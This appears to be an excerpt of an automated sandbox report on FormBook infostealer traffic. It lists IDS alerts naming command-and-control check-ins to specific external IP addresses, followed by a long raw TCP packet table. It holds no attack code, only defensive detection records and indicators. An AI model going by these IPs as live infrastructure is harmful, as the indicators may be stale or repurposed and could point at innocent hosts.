2024-09-14T11:12:50.939526+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49760	162.0.239.141	80	TCP
2024-09-14T11:12:53.457606+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49761	162.0.239.141	80	TCP
2024-09-14T11:13:07.153462+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49762	84.32.84.32	80	TCP
2024-09-14T11:13:09.671094+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49763	84.32.84.32	80	TCP
2024-09-14T11:13:12.239819+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49764	84.32.84.32	80	TCP
2024-09-14T11:13:14.891931+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49765	84.32.84.32	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 14, 2024 11:11:11.583623886 CEST	49737	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:11:11.588516951 CEST	80	49737	3.33.130.190	192.168.2.4
Sep 14, 2024 11:11:11.588620901 CEST	49737	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:11:11.594907045 CEST	49737	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:11:11.599790096 CEST	80	49737	3.33.130.190	192.168.2.4
Sep 14, 2024 11:11:12.967840910 CEST	80	49737	3.33.130.190	192.168.2.4
Sep 14, 2024 11:11:12.967914104 CEST	80	49737	3.33.130.190	192.168.2.4
Sep 14, 2024 11:11:12.968204975 CEST	49737	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:11:12.971141100 CEST	49737	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:11:12.976283073 CEST	80	49737	3.33.130.190	192.168.2.4
Sep 14, 2024 11:11:28.577025890 CEST	49738	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:28.581959009 CEST	80	49738	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:28.582051039 CEST	49738	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:28.590806961 CEST	49738	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:28.595577955 CEST	80	49738	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:29.516406059 CEST	80	49738	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:29.516444921 CEST	80	49738	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:29.516501904 CEST	49738	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:30.097549915 CEST	49738	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:31.115758896 CEST	49739	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:31.120649099 CEST	80	49739	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:31.120731115 CEST	49739	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:31.131051064 CEST	49739	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:31.137799025 CEST	80	49739	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:32.058912039 CEST	80	49739	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:32.058944941 CEST	80	49739	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:32.059029102 CEST	49739	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:32.644278049 CEST	49739	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:33.662437916 CEST	49740	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:33.667576075 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:33.667692900 CEST	49740	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:33.677061081 CEST	49740	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:33.682007074 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:33.682018995 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:33.682145119 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:33.682154894 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:33.682163000 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:33.682543993 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:33.682553053 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:33.682560921 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:33.682569027 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:34.569891930 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:34.612982988 CEST	49740	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:34.799669027 CEST	80	49740	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:34.799763918 CEST	49740	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:35.191325903 CEST	49740	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:36.209552050 CEST	49741	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:36.214617968 CEST	80	49741	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:36.214720964 CEST	49741	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:36.221396923 CEST	49741	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:36.226341963 CEST	80	49741	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:37.124176979 CEST	80	49741	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:37.124285936 CEST	80	49741	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:37.124366999 CEST	49741	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:37.126503944 CEST	49741	80	192.168.2.4	18.139.62.226
Sep 14, 2024 11:11:37.131345987 CEST	80	49741	18.139.62.226	192.168.2.4
Sep 14, 2024 11:11:42.387702942 CEST	49742	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:42.395014048 CEST	80	49742	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:42.395092964 CEST	49742	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:42.404767036 CEST	49742	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:42.409759045 CEST	80	49742	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:42.992011070 CEST	80	49742	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:42.992057085 CEST	80	49742	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:42.992237091 CEST	49742	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:43.909956932 CEST	49742	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:44.928035975 CEST	49743	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:44.934243917 CEST	80	49743	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:44.934355021 CEST	49743	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:44.943120956 CEST	49743	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:44.947971106 CEST	80	49743	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:45.517853022 CEST	80	49743	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:45.517950058 CEST	80	49743	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:45.518034935 CEST	49743	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:46.456845999 CEST	49743	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:47.475641966 CEST	49744	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:47.480546951 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:47.480664015 CEST	49744	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:47.491945982 CEST	49744	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:47.496889114 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:47.496898890 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:47.496928930 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:47.496937037 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:47.496958017 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:47.496965885 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:47.497003078 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:47.497010946 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:47.497018099 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:48.087112904 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:48.128715992 CEST	49744	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:48.156624079 CEST	80	49744	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:48.156810999 CEST	49744	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:49.003736019 CEST	49744	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:50.022319078 CEST	49745	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:50.034684896 CEST	80	49745	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:50.034872055 CEST	49745	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:50.040980101 CEST	49745	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:50.045794010 CEST	80	49745	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:50.612376928 CEST	80	49745	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:50.612507105 CEST	80	49745	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:50.612517118 CEST	80	49745	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:50.612643957 CEST	80	49745	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:50.612929106 CEST	49745	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:50.613125086 CEST	49745	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:50.617424011 CEST	49745	80	192.168.2.4	66.81.203.10
Sep 14, 2024 11:11:50.622173071 CEST	80	49745	66.81.203.10	192.168.2.4
Sep 14, 2024 11:11:56.388959885 CEST	49746	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:11:56.394188881 CEST	80	49746	103.42.108.46	192.168.2.4
Sep 14, 2024 11:11:56.394294024 CEST	49746	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:11:56.460100889 CEST	49746	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:11:56.464945078 CEST	80	49746	103.42.108.46	192.168.2.4
Sep 14, 2024 11:11:57.284892082 CEST	80	49746	103.42.108.46	192.168.2.4
Sep 14, 2024 11:11:57.284979105 CEST	80	49746	103.42.108.46	192.168.2.4
Sep 14, 2024 11:11:57.285087109 CEST	49746	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:11:57.972623110 CEST	49746	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:11:58.991624117 CEST	49747	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:11:58.997800112 CEST	80	49747	103.42.108.46	192.168.2.4
Sep 14, 2024 11:11:58.997874022 CEST	49747	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:11:59.008897066 CEST	49747	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:11:59.015151978 CEST	80	49747	103.42.108.46	192.168.2.4
Sep 14, 2024 11:11:59.884313107 CEST	80	49747	103.42.108.46	192.168.2.4
Sep 14, 2024 11:11:59.884442091 CEST	80	49747	103.42.108.46	192.168.2.4
Sep 14, 2024 11:11:59.884516001 CEST	49747	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:00.519340992 CEST	49747	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:01.538364887 CEST	49748	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:01.543246031 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:01.543349981 CEST	49748	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:01.554862022 CEST	49748	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:01.559861898 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:01.559871912 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:01.559886932 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:01.559895992 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:01.559906006 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:01.560389042 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:01.560465097 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:01.560527086 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:01.560539007 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:02.426007986 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:02.431524992 CEST	49748	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:03.066459894 CEST	49748	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:03.071434975 CEST	80	49748	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:04.085556030 CEST	49749	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:04.090655088 CEST	80	49749	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:04.090755939 CEST	49749	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:04.097100973 CEST	49749	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:04.101984024 CEST	80	49749	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:04.990652084 CEST	80	49749	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:04.990710974 CEST	80	49749	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:04.990793943 CEST	49749	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:04.993753910 CEST	49749	80	192.168.2.4	103.42.108.46
Sep 14, 2024 11:12:04.998615980 CEST	80	49749	103.42.108.46	192.168.2.4
Sep 14, 2024 11:12:10.642126083 CEST	49750	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:10.650418043 CEST	80	49750	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:10.653945923 CEST	49750	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:10.665671110 CEST	49750	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:10.675323963 CEST	80	49750	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:11.113064051 CEST	80	49750	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:11.113126040 CEST	49750	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:12.175755978 CEST	49750	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:12.180717945 CEST	80	49750	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:13.194293976 CEST	49751	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:13.200364113 CEST	80	49751	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:13.200442076 CEST	49751	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:13.210875988 CEST	49751	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:13.216779947 CEST	80	49751	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:14.598299026 CEST	80	49751	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:14.599654913 CEST	49751	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:14.722897053 CEST	49751	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:14.727866888 CEST	80	49751	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:15.746252060 CEST	49752	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:15.751240969 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:15.751306057 CEST	49752	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:15.766053915 CEST	49752	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:15.770975113 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:15.770986080 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:15.771042109 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:15.771056890 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:15.771095037 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:15.771116972 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:15.771140099 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:15.771147966 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:15.771157980 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:16.215840101 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:16.217823029 CEST	49752	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:17.269359112 CEST	49752	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:17.274365902 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:18.287887096 CEST	49753	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:18.292792082 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:18.295659065 CEST	49753	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:18.305566072 CEST	49753	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:18.310379028 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:18.771275997 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:18.771373987 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:18.771436930 CEST	49753	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:18.774107933 CEST	49753	80	192.168.2.4	3.33.130.190
Sep 14, 2024 11:12:18.778907061 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 14, 2024 11:12:32.017718077 CEST	49754	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:32.023211002 CEST	80	49754	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:32.027772903 CEST	49754	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:32.041430950 CEST	49754	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:32.046250105 CEST	80	49754	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:32.485328913 CEST	80	49754	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:32.486071110 CEST	80	49754	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:32.486082077 CEST	80	49754	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:32.486159086 CEST	49754	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:32.486160040 CEST	49754	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:33.550649881 CEST	49754	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:34.568984985 CEST	49755	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:34.577024937 CEST	80	49755	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:34.577841997 CEST	49755	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:34.589665890 CEST	49755	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:34.594579935 CEST	80	49755	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:35.042042017 CEST	80	49755	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:35.042124987 CEST	80	49755	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:35.042135000 CEST	80	49755	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:35.042181969 CEST	49755	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:35.042181969 CEST	49755	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:36.097529888 CEST	49755	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:37.115900040 CEST	49756	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:37.120902061 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.120971918 CEST	49756	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:37.130942106 CEST	49756	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:37.343719959 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.343962908 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.344074011 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.344315052 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.344327927 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.344340086 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.344353914 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.344383955 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.344394922 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.821768999 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.821868896 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.821880102 CEST	80	49756	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:37.822272062 CEST	49756	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:38.644707918 CEST	49756	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:39.663916111 CEST	49757	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:39.668843985 CEST	80	49757	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:39.668914080 CEST	49757	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:39.676362038 CEST	49757	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:39.681211948 CEST	80	49757	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:40.145515919 CEST	80	49757	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:40.145533085 CEST	80	49757	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:40.145564079 CEST	80	49757	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:40.145807028 CEST	49757	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:40.151612043 CEST	49757	80	192.168.2.4	199.59.243.226
Sep 14, 2024 11:12:40.156810999 CEST	80	49757	199.59.243.226	192.168.2.4
Sep 14, 2024 11:12:45.209527969 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:45.214483976 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.214555025 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:45.226059914 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:45.230926037 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819773912 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819793940 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819804907 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819860935 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819856882 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:45.819874048 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819885015 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819896936 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819909096 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819920063 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819924116 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:45.819931030 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.819958925 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:45.819958925 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:45.819993973 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:45.824719906 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.824762106 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.824773073 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.824840069 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:45.906585932 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.906621933 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.906657934 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.906687021 CEST	80	49758	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:45.906688929 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:45.909465075 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:46.738225937 CEST	49758	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:47.757251978 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:47.762115002 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:47.762222052 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:47.771934032 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:47.776757956 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348790884 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348839998 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348855019 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348875999 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348891020 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348903894 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348917961 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348922968 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:48.348932028 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348948002 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348963022 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.348963022 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:48.348985910 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:48.349023104 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:48.353954077 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.354238033 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.354252100 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.354288101 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:48.394413948 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:48.433134079 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.433160067 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.433176041 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.433219910 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:48.433309078 CEST	80	49759	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:48.433357000 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:49.285217047 CEST	49759	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:50.305799007 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:50.310703039 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.311050892 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:50.321208954 CEST	49760	80	192.168.2.4	162.0.239.141
Sep 14, 2024 11:12:50.326256990 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.326267004 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.326273918 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.326282024 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.326311111 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.326319933 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.326327085 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.326334953 CEST	80	49760	162.0.239.141	192.168.2.4
Sep 14, 2024 11:12:50.326342106 CEST	80	49760	162.0.239.141	192.168.2.4
